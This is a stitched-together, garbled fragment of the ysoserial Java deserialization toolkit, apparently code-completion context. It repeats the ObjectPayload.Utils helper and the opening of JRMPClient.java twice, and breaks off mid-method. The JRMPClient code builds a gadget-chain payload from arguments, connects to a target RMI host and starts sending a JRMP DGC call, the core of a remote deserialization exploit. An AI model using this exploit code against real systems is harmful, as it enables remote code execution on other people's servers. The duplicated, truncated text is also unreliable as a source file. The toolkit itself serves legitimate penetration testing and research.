// Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
// 
//     // get payload classes by classpath scanning
//     public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
//         final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
//         final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
//         for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
//             Class<? extends ObjectPayload> pc = iterator.next();
//             if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
//                 iterator.remove();
//             }
//         }
//         return payloadTypes;
//     }
// 
// 
//     @SuppressWarnings ( "unchecked" )
//     public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
//         Class<? extends ObjectPayload> clazz = null;
//         try {
//             clazz = (Class<? extends ObjectPayload>) Class.forName(className);
//         }
//         catch ( Exception e1 ) {}
//         if ( clazz == null ) {
//             try {
//                 return clazz = (Class<? extends ObjectPayload>) Class
//                         .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
//             }
//             catch ( Exception e2 ) {}
//         }
//         if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
//             clazz = null;
//         }
//         return clazz;
//     }
// 
// 
//     public static Object makePayloadObject ( String payloadType, String payloadArg ) {
//         final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
//         if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
//             throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
// 
//         }
// 
//         final Object payloadObject;
//         try {
//             final ObjectPayload payload = payloadClass.newInstance();
//             payloadObject = payload.getObject(payloadArg);
//         }
//         catch ( Exception e ) {
//             throw new IllegalArgumentException("Failed to construct payload", e);
//         }
//         return payloadObject;
//     }
// 
// 
//     @SuppressWarnings ( "unchecked" )
//     public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
//         if ( payload instanceof ReleaseableObjectPayload ) {
//             ( (ReleaseableObjectPayload) payload ).release(object);
//         }
//     }
// 
// 
//     public static void releasePayload ( String payloadType, Object payloadObject ) {
//         final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
//         if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
//             throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
// 
//         }
// 
//         try {
//             final ObjectPayload payload = payloadClass.newInstance();
//             releasePayload(payload, payloadObject);
//         }
//         catch ( Exception e ) {
//             e.printStackTrace();
//         }
// 
//     }
// }


import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
            System.exit(-1);
        }

        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
        String hostname = args[ 0 ];
        int port = Integer.parseInt(args[ 1 ]);
        try {
            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
            makeDGCCall(hostname, port, payloadObject);
        }
        catch ( Exception e ) {
            e.printStackTrace(System.err);
        }
        Utils.releasePayload(args[2], payloadObject);
    }

    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);
        Socket s = null;
        DataOutputStream dos = null;
        try {
            s = SocketFactory.getDefault().createSocket(hostname, port);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);

            OutputStream os = s.getOutputStream();
            dos = new DataOutputStream(os);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
// 
//     // get payload classes by classpath scanning
//     public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
//         final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
//         final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
//         for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
//             Class<? extends ObjectPayload> pc = iterator.next();
//             if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
//                 iterator.remove();
//             }
//         }
//         return payloadTypes;
//     }
// 
// 
//     @SuppressWarnings ( "unchecked" )
//     public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
//         Class<? extends ObjectPayload> clazz = null;
//         try {
//             clazz = (Class<? extends ObjectPayload>) Class.forName(className);
//         }
//         catch ( Exception e1 ) {}
//         if ( clazz == null ) {
//             try {
//                 return clazz = (Class<? extends ObjectPayload>) Class
//                         .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
//             }
//             catch ( Exception e2 ) {}
//         }
//         if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
//             clazz = null;
//         }
//         return clazz;
//     }
// 
// 
//     public static Object makePayloadObject ( String payloadType, String payloadArg ) {
//         final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
//         if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
//             throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
// 
//         }
// 
//         final Object payloadObject;
//         try {
//             final ObjectPayload payload = payloadClass.newInstance();
//             payloadObject = payload.getObject(payloadArg);
//         }
//         catch ( Exception e ) {
//             throw new IllegalArgumentException("Failed to construct payload", e);
//         }
//         return payloadObject;
//     }
// 
// 
//     @SuppressWarnings ( "unchecked" )
//     public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
//         if ( payload instanceof ReleaseableObjectPayload ) {
//             ( (ReleaseableObjectPayload) payload ).release(object);
//         }
//     }
// 
// 
//     public static void releasePayload ( String payloadType, Object payloadObject ) {
//         final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
//         if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
//             throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
// 
//         }
// 
//         try {
//             final ObjectPayload payload = payloadClass.newInstance();
//             releasePayload(payload, payloadObject);
//         }
//         catch ( Exception e ) {
//             e.printStackTrace();
//         }
// 
//     }
// }


// Path: src/main/java/ysoserial/exploit/JRMPClient.java
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;

            System.exit(-1);
        }

        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
        String hostname = args[ 0 ];
        int port = Integer.parseInt(args[ 1 ]);
        try {
            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
            makeDGCCall(hostname, port, payloadObject);
        }
        catch ( Exception e ) {
            e.printStackTrace(System.err);
        }
        Utils.releasePayload(args[2], payloadObject);
    }

    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);
        Socket s = null;
        DataOutputStream dos = null;
        try {
            s = SocketFactory.getDefault().createSocket(hostname, port);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);

            OutputStream os = s.getOutputStream();
            dos = new DataOutputStream(os);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
            dos.writeByte(TransportConstants.SingleOpProtocol);